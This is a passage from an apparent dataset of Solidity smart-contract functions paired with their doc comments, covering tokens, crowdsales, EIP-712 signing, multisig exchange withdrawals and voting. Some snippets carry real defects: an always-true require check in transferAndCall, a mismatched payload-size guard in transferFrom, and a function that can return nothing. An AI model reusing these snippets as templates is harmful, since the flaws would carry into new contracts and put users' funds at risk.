\"AnyswapV3ERC20: transfer amount exceeds balance\");\r\n\r\n balanceOf[from] = balance - value;\r\n balanceOf[to] += value;\r\n emit Transfer(from, to, value);\r\n\r\n return true;\r\n }", "version": "0.8.7"} {"comment": "/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),\n/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.\n/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.\n/// Emits {Transfer} event.\n/// Returns boolean value indicating whether operation succeeded.\n/// Requirements:\n/// - caller account must have at least `value` AnyswapV3ERC20 token.\n/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.", "function_code": "function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {\r\n require(to != address(0) || to != address(this));\r\n\r\n uint256 balance = balanceOf[msg.sender];\r\n require(balance >= value, \"AnyswapV3ERC20: transfer amount exceeds balance\");\r\n\r\n balanceOf[msg.sender] = balance - value;\r\n balanceOf[to] += value;\r\n emit Transfer(msg.sender, to, value);\r\n\r\n return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);\r\n }", "version": "0.8.7"} {"comment": "//human 0.1 standard. Just an arbitrary versioning scheme.\n//\n//\n//function name must match the contract name above", "function_code": "function GhostGold(\r\n ) {\r\n balances[msg.sender] = 1000000; // Give the creator all initial tokens\r\n totalSupply = 1000000; // Update total supply\r\n name = \"GhostGold\"; // Set the name for display purposes\r\n decimals = 0; // Amount of decimals for display purposes\r\n symbol = \"GXG\"; // Set the symbol for display purposes\r\n }", "version": "0.4.19"} {"comment": "/*\r\n * creates a montage of the given token ids\r\n */", "function_code": "function createMontage(\r\n address creator,\r\n string memory _name,\r\n string memory _description,\r\n bool _canBeUnpacked,\r\n uint256[] memory _tokenIds\r\n ) external onlyOwner returns (uint256) {\r\n // create the montage object\r\n MontageData memory _montage = MontageData(creator, _name, _description, _canBeUnpacked, _tokenIds, \"\", \"\");\r\n\r\n // push the montage to the array\r\n montageDatas.push(_montage);\r\n uint256 _id = montageDatas.length - 1;\r\n return _id;\r\n }", "version": "0.6.11"} {"comment": "/**\n * @dev Calculates a EIP712 domain separator.\n * @param name The EIP712 domain name.\n * @param version The EIP712 domain version.\n * @param verifyingContract The EIP712 verifying contract.\n * @return result EIP712 domain separator.\n */", "function_code": "function hashDomainSeperator(\n string memory name,\n string memory version,\n address verifyingContract\n ) internal view returns (bytes32 result) {\n bytes32 typehash = EIP712DOMAIN_TYPEHASH;\n\n // solhint-disable-next-line no-inline-assembly\n assembly {\n let nameHash := keccak256(add(name, 32), mload(name))\n let versionHash := keccak256(add(version, 32), mload(version))\n let chainId := chainid()\n\n let memPtr := mload(64)\n\n mstore(memPtr, typehash)\n mstore(add(memPtr, 32), nameHash)\n mstore(add(memPtr, 64), versionHash)\n mstore(add(memPtr, 96), chainId)\n mstore(add(memPtr, 128), verifyingContract)\n\n result := keccak256(memPtr, 160)\n }\n }", "version": "0.8.11"} {"comment": "/**\n * @dev Calculates EIP712 encoding for a hash struct with a given domain hash.\n * @param domainHash Hash of the domain domain separator data, computed with getDomainHash().\n * @param hashStruct The EIP712 hash struct.\n * @return result EIP712 hash applied to the given EIP712 Domain.\n */", "function_code": "function hashMessage(bytes32 domainHash, bytes32 hashStruct) internal pure returns (bytes32 result) {\n // solhint-disable-next-line no-inline-assembly\n assembly {\n let memPtr := mload(64)\n\n mstore(memPtr, 0x1901000000000000000000000000000000000000000000000000000000000000) // EIP191 header\n mstore(add(memPtr, 2), domainHash) // EIP712 domain hash\n mstore(add(memPtr, 34), hashStruct) // Hash of struct\n\n result := keccak256(memPtr, 66)\n }\n }", "version": "0.8.11"} {"comment": "/**\r\n * @notice Get the full contents of the montage (i.e. name and tokeids) for a given token ID.\r\n * @param tokenId the id of a previously minted montage\r\n */", "function_code": "function getMontageInformation(uint256 tokenId)\r\n public\r\n view\r\n onlyExistingTokens(tokenId)\r\n returns (\r\n address creator,\r\n string memory name,\r\n string memory description,\r\n bool canBeUnpacked,\r\n uint256[] memory tokenIds\r\n )\r\n {\r\n MontageData memory _montage = montageDatas[tokenId];\r\n tokenIds = _montage.tokenIds;\r\n name = _montage.name;\r\n description = _montage.description;\r\n canBeUnpacked = _montage.canBeUnpacked;\r\n creator = _montage.creator;\r\n }", "version": "0.6.11"} {"comment": "/**\r\n * @dev Withdraw User Balance to user account, only Governance call it\r\n */", "function_code": "function userWithdraw(address withdrawAddress, uint256 amount)\r\n public\r\n payable\r\n onlyGovernance\r\n {\r\n require(\r\n _totalAmount >= amount,\r\n \"User Balance should be more than withdraw amount.\"\r\n );\r\n\r\n // Send ETH From Contract to User Address\r\n (bool sent, ) = withdrawAddress.call{value: amount}(\"\");\r\n require(sent, \"Failed to Withdraw User.\");\r\n\r\n // Update Total Balance\r\n _totalAmount = _totalAmount.sub(amount);\r\n }", "version": "0.7.0"} {"comment": "/**\r\n * @dev EmergencyWithdraw when need to update contract and then will restore it\r\n */", "function_code": "function emergencyWithdraw() public payable onlyGovernance {\r\n require(_totalAmount > 0, \"Can't send over total ETH amount.\");\r\n\r\n uint256 amount = _totalAmount;\r\n address governanceAddress = governance();\r\n\r\n // Send ETH From Contract to Governance Address\r\n (bool sent, ) = governanceAddress.call{value: amount}(\"\");\r\n require(sent, \"Failed to Withdraw Governance\");\r\n\r\n // Update Total Balance\r\n _totalAmount = 0;\r\n }", "version": "0.7.0"} {"comment": "/**\n * @notice Verify a signed approval permit and execute if valid\n * @param owner Token owner's address (Authorizer)\n * @param spender Spender's address\n * @param value Amount of allowance\n * @param deadline The time at which this expires (unix time)\n * @param v v of the signature\n * @param r r of the signature\n * @param s s of the signature\n */", "function_code": "function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external virtual {\n require(owner != address(0), \"ERC2612/Invalid-address-0\");\n require(deadline >= block.timestamp, \"ERC2612/Expired-time\");\n\n unchecked {\n bytes32 digest = EIP712.hashMessage(\n DOMAIN_SEPARATOR,\n keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))\n );\n\n address recovered = ecrecover(digest, v, r, s);\n require(recovered != address(0) && recovered == owner, \"ERC2612/Invalid-Signature\");\n }\n\n _approve(owner, spender, value);\n }", "version": "0.8.11"} {"comment": "/// @dev Tranfer tokens from one address to other\n/// @param _from source address\n/// @param _to dest address\n/// @param _value tokens amount\n/// @return transfer result", "function_code": "function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(2 * 32) canTransfer checkFrozenAmount(_from, _value) returns (bool success) {\r\n var _allowance = allowed[_from][msg.sender];\r\n\r\n balances[_to] = safeAdd(balances[_to], _value);\r\n balances[_from] = safeSub(balances[_from], _value);\r\n allowed[_from][msg.sender] = safeSub(_allowance, _value);\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.13"} {"comment": "/// @dev Approve transfer\n/// @param _spender holder address\n/// @param _value tokens amount\n/// @return result", "function_code": "function approve(address _spender, uint _value) returns (bool success) {\r\n // To change the approve amount you first have to reduce the addresses`\r\n // allowance to zero by calling `approve(_spender, 0)` if it is not\r\n // already 0 to mitigate the race condition described here:\r\n // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n require ((_value == 0) || (allowed[msg.sender][_spender] == 0));\r\n\r\n allowed[msg.sender][_spender] = _value;\r\n Approval(msg.sender, _spender, _value);\r\n return true;\r\n }", "version": "0.4.13"} {"comment": "/// @dev Constructor\n/// @param _token Pay Fair token address\n/// @param _multisigWallet team wallet\n/// @param _start token ICO start date", "function_code": "function PayFairTokenCrowdsale(address _token, address _multisigWallet, uint _start) {\r\n require(_multisigWallet != 0);\r\n require(_start != 0);\r\n\r\n token = PayFairToken(_token);\r\n\r\n multisigWallet = _multisigWallet;\r\n startsAt = _start;\r\n\r\n milestones.push(Milestone(startsAt, startsAt + 1 days, 20));\r\n milestones.push(Milestone(startsAt + 1 days, startsAt + 5 days, 15));\r\n milestones.push(Milestone(startsAt + 5 days, startsAt + 10 days, 10));\r\n milestones.push(Milestone(startsAt + 10 days, startsAt + 20 days, 5));\r\n }", "version": "0.4.13"} {"comment": "/// @dev Get the current milestone or bail out if we are not in the milestone periods.\n/// @return Milestone current bonus milestone", "function_code": "function getCurrentMilestone() private constant returns (Milestone) {\r\n for (uint i = 0; i < milestones.length; i++) {\r\n if (milestones[i].start <= now && milestones[i].end > now) {\r\n return milestones[i];\r\n }\r\n }\r\n }", "version": "0.4.13"} {"comment": "/// @dev Make an investment. Crowdsale must be running for one to invest.\n/// @param receiver The Ethereum address who receives the tokens", "function_code": "function investInternal(address receiver) stopInEmergency private {\r\n var state = getState();\r\n require(state == State.Funding);\r\n require(msg.value > 0);\r\n\r\n // Add investment record\r\n var weiAmount = msg.value;\r\n investments.push(Investment(receiver, weiAmount, getCurrentMilestone().bonus + 100));\r\n investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver], weiAmount);\r\n\r\n // Update totals\r\n weiRaised = safeAdd(weiRaised, weiAmount);\r\n // Transfer funds to the team wallet\r\n multisigWallet.transfer(weiAmount);\r\n // Tell us invest was success\r\n Invested(receiver, weiAmount);\r\n }", "version": "0.4.13"} {"comment": "/// @dev Finalize a succcesful crowdsale.", "function_code": "function finalizeCrowdsale() internal {\r\n // Calculate divisor of the total token count\r\n uint divisor;\r\n for (uint i = 0; i < investments.length; i++)\r\n divisor = safeAdd(divisor, safeMul(investments[i].weiValue, investments[i].weight));\r\n\r\n uint localMultiplier = 10 ** 12;\r\n // Get unit price\r\n uint unitPrice = safeDiv(safeMul(token.convertToDecimal(TOTAL_ICO_TOKENS), localMultiplier), divisor);\r\n\r\n // Distribute tokens among investors\r\n for (i = 0; i < investments.length; i++) {\r\n var tokenAmount = safeDiv(safeMul(unitPrice, safeMul(investments[i].weiValue, investments[i].weight)), localMultiplier);\r\n tokenAmountOf[investments[i].source] += tokenAmount;\r\n assignTokens(investments[i].source, tokenAmount);\r\n }\r\n\r\n token.releaseTokenTransfer();\r\n }", "version": "0.4.13"} {"comment": "/// @dev Crowdfund state machine management.\n/// @return State current state", "function_code": "function getState() public constant returns (State) {\r\n if (finalized)\r\n return State.Finalized;\r\n if (address(token) == 0 || address(multisigWallet) == 0)\r\n return State.Preparing;\r\n if (preIcoTokensDistributed < token.convertToDecimal(PRE_ICO_MAX_TOKENS))\r\n return State.PreFunding;\r\n if (now >= startsAt && now < startsAt + ICO_DURATION && !isCrowdsaleFull())\r\n return State.Funding;\r\n if (isMinimumGoalReached())\r\n return State.Success;\r\n if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised)\r\n return State.Refunding;\r\n return State.Failure;\r\n }", "version": "0.4.13"} {"comment": "/**\n * @dev Will deploy a balancer LBP. Can only be called by DAO.agent address\n * @notice This function requires that the DAO.agent has approved this address for spending pool tokens (e.g. POP & USDC). It will revert if the DAO.agent has not approved this contract for spending those tokens. The PoolConfiguration.tokenAmounts for the pool tokens will be transferred from the DAO.agent to this contract and forwarded to the LBP\n */", "function_code": "function deployLBP() external {\n require(msg.sender == dao.agent, \"Only DAO can call this\");\n require(poolConfig.deployed != true, \"The pool has already been deployed\");\n require(_hasTokensForPool(), \"Manager does not have enough pool tokens\");\n\n poolConfig.deployed = true;\n\n lbp = ILBP(\n balancer.lbpFactory.create(\n poolConfig.name,\n poolConfig.symbol,\n poolConfig.tokens,\n poolConfig.startWeights,\n poolConfig.swapFee,\n poolConfig.owner,\n poolConfig.swapEnabledOnStart\n )\n );\n\n emit CreatedPool(address(lbp));\n\n uint256 endtime = poolConfig.startTime + poolConfig.durationInSeconds;\n\n lbp.updateWeightsGradually(poolConfig.startTime, endtime, poolConfig.endWeights);\n\n _joinPool();\n }", "version": "0.8.0"} {"comment": "/**\n * @notice The DAO.agent can call this function to shutdown and unwind the pool. The proceeds will be forwarded to the DAO.treasury\n */", "function_code": "function withdrawFromPool() external {\n require(poolConfig.deployed, \"Pool has not been deployed yet\");\n require(msg.sender == dao.agent, \"not today, buddy\");\n\n bytes32 poolId = lbp.getPoolId();\n\n uint256[] memory minAmountsOut = new uint256[](poolConfig.tokens.length);\n for (uint256 i; i < poolConfig.tokens.length; i++) {\n minAmountsOut[i] = uint256(0);\n }\n\n lbp.setSwapEnabled(false);\n\n ExitPoolRequest memory request = ExitPoolRequest({\n assets: _convertERC20sToAssets(poolConfig.tokens),\n minAmountsOut: minAmountsOut,\n userData: abi.encode(uint256(WeightedPoolExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT), _getLPTokenBalance(poolId)),\n toInternalBalance: false\n });\n\n balancer.vault.exitPool(poolId, address(this), dao.treasury, request);\n emit ExitedPool(poolId);\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev check contribution amount and time\r\n */", "function_code": "function isValidContribution() internal view returns(bool) {\r\n uint256 currentUserContribution = safeAdd(msg.value, userTotalContributed[msg.sender]);\r\n if(whiteList[msg.sender] && msg.value >= ETHER_MIN_CONTRIB) {\r\n if(now <= MAX_CONTRIB_CHECK_END_TIME && currentUserContribution > ETHER_MAX_CONTRIB ) {\r\n return false;\r\n }\r\n return true;\r\n\r\n }\r\n if(privilegedList[msg.sender] && msg.value >= ETHER_MIN_CONTRIB_PRIVATE) {\r\n if(now <= MAX_CONTRIB_CHECK_END_TIME && currentUserContribution > ETHER_MAX_CONTRIB_PRIVATE ) {\r\n return false;\r\n }\r\n return true;\r\n }\r\n\r\n if(token.limitedWallets(msg.sender) && msg.value >= ETHER_MIN_CONTRIB_USA) {\r\n if(now <= MAX_CONTRIB_CHECK_END_TIME && currentUserContribution > ETHER_MAX_CONTRIB_USA) {\r\n return false;\r\n }\r\n return true;\r\n }\r\n\r\n return false;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Check bnb contribution time, amount and hard cap overflow\r\n */", "function_code": "function isValidBNBContribution() internal view returns(bool) {\r\n if(token.limitedWallets(msg.sender)) {\r\n return false;\r\n }\r\n if(!whiteList[msg.sender] && !privilegedList[msg.sender]) {\r\n return false;\r\n }\r\n uint256 amount = bnbToken.allowance(msg.sender, address(this));\r\n if(amount < BNB_MIN_CONTRIB || safeAdd(totalBNBContributed, amount) > BNB_HARD_CAP) {\r\n return false;\r\n }\r\n return true;\r\n\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Calc bonus amount by contribution time\r\n */", "function_code": "function getBonus() internal constant returns (uint256, uint256) {\r\n uint256 numerator = 0;\r\n uint256 denominator = 100;\r\n\r\n if(now < BONUS_WINDOW_1_END_TIME) {\r\n numerator = 25;\r\n } else if(now < BONUS_WINDOW_2_END_TIME) {\r\n numerator = 15;\r\n } else if(now < BONUS_WINDOW_3_END_TIME) {\r\n numerator = 10;\r\n } else if(now < BONUS_WINDOW_4_END_TIME) {\r\n numerator = 5;\r\n } else {\r\n numerator = 0;\r\n }\r\n\r\n return (numerator, denominator);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Process BNB token contribution\r\n * Transfer all amount of tokens approved by sender. Calc bonuses and issue tokens to contributor.\r\n */", "function_code": "function processBNBContribution() public whenNotPaused checkTime checkBNBContribution {\r\n bool additionalBonusApplied = false;\r\n uint256 bonusNum = 0;\r\n uint256 bonusDenom = 100;\r\n (bonusNum, bonusDenom) = getBonus();\r\n uint256 amountBNB = bnbToken.allowance(msg.sender, address(this));\r\n bnbToken.transferFrom(msg.sender, address(this), amountBNB);\r\n bnbContributions[msg.sender] = safeAdd(bnbContributions[msg.sender], amountBNB);\r\n\r\n uint256 tokenBonusAmount = 0;\r\n uint256 tokenAmount = safeDiv(safeMul(amountBNB, BNB_TOKEN_PRICE_NUM), BNB_TOKEN_PRICE_DENOM);\r\n rawTokenSupply = safeAdd(rawTokenSupply, tokenAmount);\r\n if(bonusNum > 0) {\r\n tokenBonusAmount = safeDiv(safeMul(tokenAmount, bonusNum), bonusDenom);\r\n }\r\n\r\n if(additionalBonusOwnerState[msg.sender] == AdditionalBonusState.Active) {\r\n additionalBonusOwnerState[msg.sender] = AdditionalBonusState.Applied;\r\n uint256 additionalBonus = safeDiv(safeMul(tokenAmount, ADDITIONAL_BONUS_NUM), ADDITIONAL_BONUS_DENOM);\r\n tokenBonusAmount = safeAdd(tokenBonusAmount, additionalBonus);\r\n additionalBonusApplied = true;\r\n }\r\n\r\n uint256 tokenTotalAmount = safeAdd(tokenAmount, tokenBonusAmount);\r\n token.issue(msg.sender, tokenTotalAmount);\r\n totalBNBContributed = safeAdd(totalBNBContributed, amountBNB);\r\n\r\n LogBNBContribution(msg.sender, amountBNB, tokenAmount, tokenBonusAmount, additionalBonusApplied, now);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Process ether contribution. Calc bonuses and issue tokens to contributor.\r\n */", "function_code": "function processContribution(address contributor, uint256 amount) private checkTime checkContribution checkCap {\r\n bool additionalBonusApplied = false;\r\n uint256 bonusNum = 0;\r\n uint256 bonusDenom = 100;\r\n (bonusNum, bonusDenom) = getBonus();\r\n uint256 tokenBonusAmount = 0;\r\n\r\n uint256 tokenAmount = safeDiv(safeMul(amount, tokenPriceNum), tokenPriceDenom);\r\n rawTokenSupply = safeAdd(rawTokenSupply, tokenAmount);\r\n\r\n if(bonusNum > 0) {\r\n tokenBonusAmount = safeDiv(safeMul(tokenAmount, bonusNum), bonusDenom);\r\n }\r\n\r\n if(additionalBonusOwnerState[contributor] == AdditionalBonusState.Active) {\r\n additionalBonusOwnerState[contributor] = AdditionalBonusState.Applied;\r\n uint256 additionalBonus = safeDiv(safeMul(tokenAmount, ADDITIONAL_BONUS_NUM), ADDITIONAL_BONUS_DENOM);\r\n tokenBonusAmount = safeAdd(tokenBonusAmount, additionalBonus);\r\n additionalBonusApplied = true;\r\n }\r\n\r\n processPayment(contributor, amount, tokenAmount, tokenBonusAmount, additionalBonusApplied);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Finalize crowdsale if we reached hard cap or current time > SALE_END_TIME\r\n */", "function_code": "function finalizeCrowdsale() public onlyOwner {\r\n if(\r\n (totalEtherContributed >= safeSub(hardCap, 20 ether) && totalBNBContributed >= safeSub(BNB_HARD_CAP, 10000 ether)) ||\r\n (now >= SALE_END_TIME && totalEtherContributed >= softCap)\r\n ) {\r\n fund.onCrowdsaleEnd();\r\n reservationFund.onCrowdsaleEnd();\r\n // BNB transfer\r\n bnbToken.transfer(bnbTokenWallet, bnbToken.balanceOf(address(this)));\r\n\r\n // Referral\r\n uint256 referralTokenAmount = safeDiv(rawTokenSupply, 10);\r\n token.issue(referralTokenWallet, referralTokenAmount);\r\n\r\n // Foundation\r\n uint256 foundationTokenAmount = safeDiv(token.totalSupply(), 2); // 20%\r\n lockedTokens.addTokens(foundationTokenWallet, foundationTokenAmount, now + 365 days);\r\n\r\n uint256 suppliedTokenAmount = token.totalSupply();\r\n\r\n // Reserve\r\n uint256 reservedTokenAmount = safeDiv(safeMul(suppliedTokenAmount, 3), 10); // 18%\r\n token.issue(address(lockedTokens), reservedTokenAmount);\r\n lockedTokens.addTokens(reserveTokenWallet, reservedTokenAmount, now + 183 days);\r\n\r\n // Advisors\r\n uint256 advisorsTokenAmount = safeDiv(suppliedTokenAmount, 10); // 6%\r\n token.issue(advisorsTokenWallet, advisorsTokenAmount);\r\n\r\n // Company\r\n uint256 companyTokenAmount = safeDiv(suppliedTokenAmount, 4); // 15%\r\n token.issue(address(lockedTokens), companyTokenAmount);\r\n lockedTokens.addTokens(companyTokenWallet, companyTokenAmount, now + 730 days);\r\n\r\n // Bounty\r\n uint256 bountyTokenAmount = safeDiv(suppliedTokenAmount, 60); // 1%\r\n token.issue(bountyTokenWallet, bountyTokenAmount);\r\n\r\n token.setAllowTransfers(true);\r\n\r\n } else if(now >= SALE_END_TIME) {\r\n // Enable fund`s crowdsale refund if soft cap is not reached\r\n fund.enableCrowdsaleRefund();\r\n reservationFund.onCrowdsaleEnd();\r\n bnbRefundEnabled = true;\r\n }\r\n token.finishIssuance();\r\n }", "version": "0.4.21"} {"comment": "/** @notice Deposit ERC20 tokens into the smart contract (remember to set allowance in the token contract first)\r\n * @param token The address of the token to deposit\r\n * @param amount The amount of tokens to deposit \r\n */", "function_code": "function depositToken(address token, uint256 amount) public {\r\n Token(token).transferFrom(msg.sender, address(this), amount); // Deposit ERC20\r\n require(\r\n checkERC20TransferSuccess(), // Check whether the ERC20 token transfer was successful\r\n \"ERC20 token transfer failed.\"\r\n );\r\n balances[token][msg.sender] += amount; // Credit the deposited token to users balance\r\n emit Deposit(msg.sender, token, amount); // Emit a deposit event\r\n }", "version": "0.4.25"} {"comment": "/** @notice User-submitted transfer with arbiters signature, which sends tokens to another addresses account in the smart contract\r\n * @param token The token to transfer (ETH is address(address(0)))\r\n * @param amount The amount of tokens to transfer\r\n * @param nonce The nonce (to salt the hash)\r\n * @param v Multi-signature v\r\n * @param r Multi-signature r\r\n * @param s Multi-signature s\r\n * @param receiving_address The address to transfer the token/ETH to\r\n */", "function_code": "function multiSigTransfer(address token, uint256 amount, uint64 nonce, uint8 v, bytes32 r, bytes32 s, address receiving_address) public {\r\n bytes32 hash = keccak256(abi.encodePacked( // Calculate the withdrawal/transfer hash from the parameters \r\n \"\\x19Ethereum Signed Message:\\n32\", \r\n keccak256(abi.encodePacked(\r\n msg.sender,\r\n token,\r\n amount,\r\n nonce,\r\n address(this)\r\n ))\r\n ));\r\n if(\r\n !processed_withdrawals[hash] // Check if the withdrawal was initiated before\r\n && arbiters[ecrecover(hash, v,r,s)] // Check if the multi-sig is valid\r\n && balances[token][msg.sender] >= amount // Check if the user holds the required balance\r\n ){\r\n processed_withdrawals[hash] = true; // Mark this withdrawal as processed\r\n balances[token][msg.sender] -= amount; // Substract the balance from the withdrawing account\r\n balances[token][receiving_address] += amount; // Add the balance to the receiving account\r\n \r\n blocked_for_single_sig_withdrawal[token][msg.sender] = 0; // Set possible previous manual blocking of these funds to 0\r\n \r\n emit Withdrawal(msg.sender,token,amount); // Emit a Withdrawal event\r\n emit Deposit(receiving_address,token,amount); // Emit a Deposit event\r\n }else{\r\n revert(); // Revert the transaction if checks fail\r\n }\r\n }", "version": "0.4.25"} {"comment": "/** @notice Allows user to block funds for single-sig withdrawal after 24h waiting period \r\n * (This period is necessary to ensure all trades backed by these funds will be settled.)\r\n * @param token The address of the token to block (ETH is address(address(0)))\r\n * @param amount The amount of the token to block\r\n */", "function_code": "function blockFundsForSingleSigWithdrawal(address token, uint256 amount) public {\r\n if (balances[token][msg.sender] - blocked_for_single_sig_withdrawal[token][msg.sender] >= amount){ // Check if the user holds the required funds\r\n blocked_for_single_sig_withdrawal[token][msg.sender] += amount; // Block funds for manual withdrawal\r\n last_blocked_timestamp[msg.sender] = block.timestamp; // Start 24h waiting period\r\n emit BlockedForSingleSigWithdrawal(msg.sender,token,amount); // Emit BlockedForSingleSigWithdrawal event\r\n }else{\r\n revert(); // Revert the transaction if the user does not hold the required balance\r\n }\r\n }", "version": "0.4.25"} {"comment": "/** @notice Allows user to withdraw funds previously blocked after 24h\r\n */", "function_code": "function initiateSingleSigWithdrawal(address token, uint256 amount) public {\r\n if (\r\n balances[token][msg.sender] >= amount // Check if the user holds the funds\r\n && blocked_for_single_sig_withdrawal[token][msg.sender] >= amount // Check if these funds are blocked\r\n && last_blocked_timestamp[msg.sender] + 86400 <= block.timestamp // Check if the one day waiting period has passed\r\n ){\r\n balances[token][msg.sender] -= amount; // Substract the tokens from users balance\r\n blocked_for_single_sig_withdrawal[token][msg.sender] -= amount; // Substract the tokens from users blocked balance\r\n if(token == address(0)){ // Withdraw ETH\r\n require(\r\n msg.sender.send(amount),\r\n \"Sending of ETH failed.\"\r\n );\r\n }else{ // Withdraw ERC20 tokens\r\n Token(token).transfer(msg.sender, amount); // Transfer the ERC20 tokens\r\n require(\r\n checkERC20TransferSuccess(), // Check if the transfer was successful\r\n \"ERC20 token transfer failed.\"\r\n );\r\n }\r\n emit SingleSigWithdrawal(msg.sender,token,amount); // Emit a SingleSigWithdrawal event\r\n }else{\r\n revert(); // Revert the transaction if the required checks fail\r\n }\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @notice Creates proposal for voting.\r\n * @param _proposalText Text of the proposal.\r\n * @param _resultsInBlock Number of block on which results will be counted.\r\n */", "function_code": "function createVoting(\r\n string calldata _proposalText,\r\n uint _resultsInBlock\r\n ) onlyShareholder external returns (bool success){\r\n\r\n require(\r\n _resultsInBlock > block.number,\r\n \"Block for results should be later than current block\"\r\n );\r\n\r\n votingCounterForContract++;\r\n\r\n proposalText[votingCounterForContract] = _proposalText;\r\n resultsInBlock[votingCounterForContract] = _resultsInBlock;\r\n\r\n emit Proposal(votingCounterForContract, msg.sender, proposalText[votingCounterForContract], resultsInBlock[votingCounterForContract]);\r\n\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Performs a low level call, to the contract holding all the logic, changing state on this contract at the same time\r\n */", "function_code": "function proxyCall() internal {\r\n address impl = implementation();\r\n\r\n assembly {\r\n let ptr := mload(0x40)\r\n calldatacopy(ptr, 0, calldatasize())\r\n let result := delegatecall(gas(), impl, ptr, calldatasize(), 0, 0)\r\n returndatacopy(ptr, 0, returndatasize())\r\n\r\n switch result\r\n case 0 {\r\n revert(ptr, returndatasize())\r\n }\r\n default {\r\n return(ptr, returndatasize())\r\n }\r\n }\r\n }", "version": "0.6.10"} {"comment": "/** @notice Give the user the option to perform multiple on-chain cancellations of orders at once with arbiters multi-sig\r\n * @param orderHashes Array of orderHashes of the orders to be canceled\r\n * @param v Multi-sig v\r\n * @param r Multi-sig r\r\n * @param s Multi-sig s\r\n */", "function_code": "function multiSigOrderBatchCancel(bytes32[] orderHashes, uint8 v, bytes32 r, bytes32 s) public {\r\n if(\r\n arbiters[ // Check if the signee is an arbiter\r\n ecrecover( // Restore the signing address\r\n keccak256(abi.encodePacked( // Restore the signed hash (hash of all orderHashes)\r\n \"\\x19Ethereum Signed Message:\\n32\", \r\n keccak256(abi.encodePacked(orderHashes))\r\n )),\r\n v, r, s\r\n )\r\n ]\r\n ){\r\n uint len = orderHashes.length;\r\n for(uint8 i = 0; i < len; i++){\r\n matched[orderHashes[i]] = 2**256 - 1; // Set the matched amount of all orders to the maximum\r\n emit OrderCanceled(orderHashes[i]); // emit OrderCanceled event\r\n }\r\n }else{\r\n revert();\r\n }\r\n }", "version": "0.4.25"} {"comment": "/** @notice revoke the delegation of an address\r\n * @param delegate The delegated address\r\n * @param v Multi-sig v\r\n * @param r Multi-sig r\r\n * @param s Multi-sig s\r\n */", "function_code": "function revokeDelegation(address delegate, uint8 v, bytes32 r, bytes32 s) public {\r\n bytes32 hash = keccak256(abi.encodePacked( // Restore the signed hash\r\n \"\\x19Ethereum Signed Message:\\n32\", \r\n keccak256(abi.encodePacked(\r\n delegate,\r\n msg.sender,\r\n address(this)\r\n ))\r\n ));\r\n\r\n require(arbiters[ecrecover(hash, v, r, s)], \"MultiSig is not from known arbiter\"); // Check if signee is an arbiter\r\n \r\n delegates[delegate] = address(1); // set to 1 not 0 to prevent double delegation, which would make old signed order valid for the new delegator\r\n \r\n emit DelegateStatus(msg.sender, delegate, false);\r\n }", "version": "0.4.25"} {"comment": "/** @notice Allows the feeCollector to directly withdraw his funds (would allow a fee distribution contract to withdraw collected fees)\r\n * @param token The token to withdraw\r\n * @param amount The amount of tokens to withdraw\r\n */", "function_code": "function feeWithdrawal(address token, uint256 amount) public {\r\n if (\r\n msg.sender == feeCollector // Check if the sender is the feeCollector\r\n && balances[token][feeCollector] >= amount // Check if feeCollector has the sufficient balance\r\n ){\r\n balances[token][feeCollector] -= amount; // Substract the feeCollectors balance\r\n if(token == address(0)){ // Is the withdrawal token ETH\r\n require(\r\n feeCollector.send(amount), // Withdraw ETH\r\n \"Sending of ETH failed.\"\r\n );\r\n }else{\r\n Token(token).transfer(feeCollector, amount); // Withdraw ERC20\r\n require( // Revert if the withdrawal failed\r\n checkERC20TransferSuccess(),\r\n \"ERC20 token transfer failed.\"\r\n );\r\n }\r\n emit FeeWithdrawal(token,amount); // Emit FeeWithdrawal event\r\n }else{\r\n revert(); // Revert the transaction if the checks fail\r\n }\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @notice Vote for the proposal\r\n * @param _proposalId Id (number) of the proposal\r\n */", "function_code": "function voteFor(uint256 _proposalId) onlyShareholder external returns (bool success){\r\n\r\n require(\r\n resultsInBlock[_proposalId] > block.number,\r\n \"Voting already finished\"\r\n );\r\n\r\n require(\r\n !boolVotedFor[_proposalId][msg.sender] && !boolVotedAgainst[_proposalId][msg.sender],\r\n \"Already voted\"\r\n );\r\n\r\n numberOfVotersFor[_proposalId] = numberOfVotersFor[_proposalId] + 1;\r\n\r\n uint voterId = numberOfVotersFor[_proposalId];\r\n\r\n votedFor[_proposalId][voterId] = msg.sender;\r\n\r\n boolVotedFor[_proposalId][msg.sender] = true;\r\n\r\n emit VoteFor(_proposalId, msg.sender);\r\n\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "// We have to check returndatasize after ERC20 tokens transfers, as some tokens are implemented badly (dont return a boolean)", "function_code": "function checkERC20TransferSuccess() pure private returns(bool){\r\n uint256 success = 0;\r\n\r\n assembly {\r\n switch returndatasize // Check the number of bytes the token contract returned\r\n case 0 { // Nothing returned, but contract did not throw > assume our transfer succeeded\r\n success := 1\r\n }\r\n case 32 { // 32 bytes returned, result is the returned bool\r\n returndatacopy(0, 0, 32)\r\n success := mload(0)\r\n }\r\n }\r\n\r\n return success != 0;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice This function is used to add single-sided protected liquidity to BancorV2 Pool\r\n @dev This function 